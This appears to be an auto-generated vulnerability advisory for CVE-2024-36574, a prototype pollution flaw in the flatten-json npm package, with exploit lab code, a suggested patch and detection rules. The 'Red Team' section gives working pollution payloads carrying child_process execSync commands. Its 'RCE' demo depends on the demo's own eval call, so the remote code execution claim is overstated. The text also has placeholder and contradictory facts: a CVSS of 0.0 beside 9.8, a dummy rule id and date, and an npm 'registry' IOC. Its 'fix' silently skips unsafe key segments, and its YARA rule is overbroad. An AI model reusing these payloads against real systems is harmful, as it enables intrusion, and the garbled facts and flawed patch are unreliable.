CVE-2024-36574

Executive Summary

CVE-2024-36574 is a critical Prototype Pollution vulnerability in the flatten-json npm package version 1.0.1. The flaw resides in the module.exports.unflattenJSON function within flatten-json/index.js:42, allowing an attacker to inject arbitrary properties into an object's prototype chain. This can lead to remote code execution (RCE), denial of service (DoS), or data tampering. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for full system compromise. No official patch exists, and the vendor is unresponsive, making this a high-risk unpatched vulnerability.

Supply Chain & Package Security

This vulnerability affects the npm ecosystem. The flatten-json package is used to flatten and unflatten JSON objects. An attacker can exploit this by crafting a malicious JSON payload that, when processed by unflattenJSON, pollutes the Object.prototype. This can affect all objects in the application, leading to RCE or other attacks. Since the package is unpatched, users must either fork and fix the code or switch to an alternative library.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system denial possible.

Threat Level: Critical (9.8) – Remote, unauthenticated exploitation with high impact.

Deep Dive & Mechanics

The vulnerability is a classic Prototype Pollution issue. The unflattenJSON function recursively builds an object from a flattened key-value structure. It fails to sanitize keys like __proto__, constructor.prototype, or prototype, allowing an attacker to inject properties into the global Object.prototype.

Affected Code (flatten-json/index.js:42):

module.exports.unflattenJSON = function(data) {
  var result = {};
  for (var key in data) {
    var keys = key.split('.');
    var current = result;
    for (var i = 0; i < keys.length - 1; i++) {
      if (!current[keys[i]]) {
        current[keys[i]] = {};
      }
      current = current[keys[i]];
    }
    current[keys[keys.length - 1]] = data[key];
  }
  return result;
};

The vulnerability occurs because the code does not check if keys[i] is __proto__ or prototype. An attacker can set current[keys[i]] to a new object, but if keys[i] is __proto__, it modifies the prototype of current, which is result. This pollutes Object.prototype.

Exploit Payload Example:

{"__proto__.polluted": "true"}

When processed, this sets Object.prototype.polluted = "true", affecting all objects in the application.

Vulnerable vs. Patched Code

Vulnerable Code (flatten-json 1.0.1):

module.exports.unflattenJSON = function(data) {
  var result = {};
  for (var key in data) {
    var keys = key.split('.');
    var current = result;
    for (var i = 0; i < keys.length - 1; i++) {
      if (!current[keys[i]]) {
        current[keys[i]] = {};
      }
      current = current[keys[i]];
    }
    current[keys[keys.length - 1]] = data[key];
  }
  return result;
};

Patched Code (Hypothetical Fix):

module.exports.unflattenJSON = function(data) {
  var result = {};
  for (var key in data) {
    var keys = key.split('.');
    var current = result;
    for (var i = 0; i < keys.length - 1; i++) {
      // Block prototype pollution
      if (keys[i] === '__proto__' || keys[i] === 'prototype' || keys[i] === 'constructor') {
        continue;
      }
      if (!current[keys[i]]) {
        current[keys[i]] = {};
      }
      current = current[keys[i]];
    }
    // Block prototype pollution for final key
    if (keys[keys.length - 1] === '__proto__' || keys[keys.length - 1] === 'prototype' || keys[keys.length - 1] === 'constructor') {
      continue;
    }
    current[keys[keys.length - 1]] = data[key];
  }
  return result;
};

The fix adds checks to skip dangerous keys (__proto__, prototype, constructor). Since no official patch exists, users must implement this manually.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Node.js and npm.
2. Create a new project: mkdir cve-lab && cd cve-lab && npm init -y
3. Install vulnerable package: npm install flatten-json@1.0.1
4. Create exploit.js:

const flatten = require('flatten-json');

// Malicious payload
const maliciousPayload = {
  "__proto__.polluted": "true",
  "__proto__.shell": "node -e 'require(\"child_process\").execSync(\"id\")'"
};

// Trigger the vulnerability
const result = flatten.unflattenJSON(maliciousPayload);

// Check if prototype is polluted
console.log({}.polluted); // Should output "true"
console.log({}.shell); // Should output the shell command

5. Run: node exploit.js

Advanced Exploit (RCE via prototype pollution):

const flatten = require('flatten-json');

// Payload to execute arbitrary code
const payload = {
  "__proto__.exec": "require('child_process').execSync('id')"
};

flatten.unflattenJSON(payload);

// Now any object can trigger execution
const obj = {};
if (obj.exec) {
  console.log(eval(obj.exec)); // Executes 'id'
}

Blue Team

Detection:

• Monitor for JSON keys containing __proto__, prototype, or constructor.
• Use static analysis tools to detect unsafe object assignments.
• Implement input validation to reject dangerous keys.

Mitigation:

• Replace flatten-json with a patched fork or alternative library (e.g., flat).
• Apply the hypothetical patch above.
• Use Object.freeze(Object.prototype) to prevent pollution (may break functionality).

Indicators of Compromise (IOCs)

• Network: HTTP requests with JSON payloads containing __proto__, prototype, or constructor keys.
• File: Logs showing unexpected properties on objects (e.g., polluted, shell, exec).
• Process: Node.js processes with high CPU or memory due to prototype pollution.
• Registry: npm packages with flatten-json version 1.0.1 in package.json.

Detection Engineering

YARA Rule

rule CVE_2024_36574_Prototype_Pollution {
  meta:
    description = "Detects prototype pollution attempts in JSON payloads"
    author = "Valters IT"
    date = "2024-01-01"
    cve = "CVE-2024-36574"
  strings:
    $proto1 = "__proto__" ascii wide nocase
    $proto2 = "prototype" ascii wide nocase
    $proto3 = "constructor" ascii wide nocase
  condition:
    any of ($proto*)
}

Sigma Rule

title: CVE-2024-36574 Prototype Pollution Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects JSON payloads with prototype pollution indicators
author: Valters IT
logsource:
  category: webserver
  product: generic
detection:
  selection:
    - c-uri|contains: '__proto__'
    - c-uri|contains: 'prototype'
    - c-uri|contains: 'constructor'
    - cs-uri-query|contains: '__proto__'
    - cs-uri-query|contains: 'prototype'
    - cs-uri-query|contains: 'constructor'
  condition: selection
falsepositives:
  - Legitimate use of these strings in non-JSON contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36574 Prototype Pollution Attempt"; flow:to_server; content:"__proto__"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-36574 Prototype Pollution Attempt"; flow:to_server; content:"prototype"; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-36574 Prototype Pollution Attempt"; flow:to_server; content:"constructor"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate: Remove flatten-json from dependencies. Replace with flat (npm package) or implement a custom safe unflatten function.
2. Short-term: Apply the hypothetical patch to flatten-json/index.js if you must keep the package.
3. Long-term: Audit all npm packages for prototype pollution vulnerabilities. Use tools like npm audit or Snyk.
4. Preventive: Implement input validation to reject keys containing __proto__, prototype, or constructor. Use Object.freeze(Object.prototype) as a last resort.

Valters IT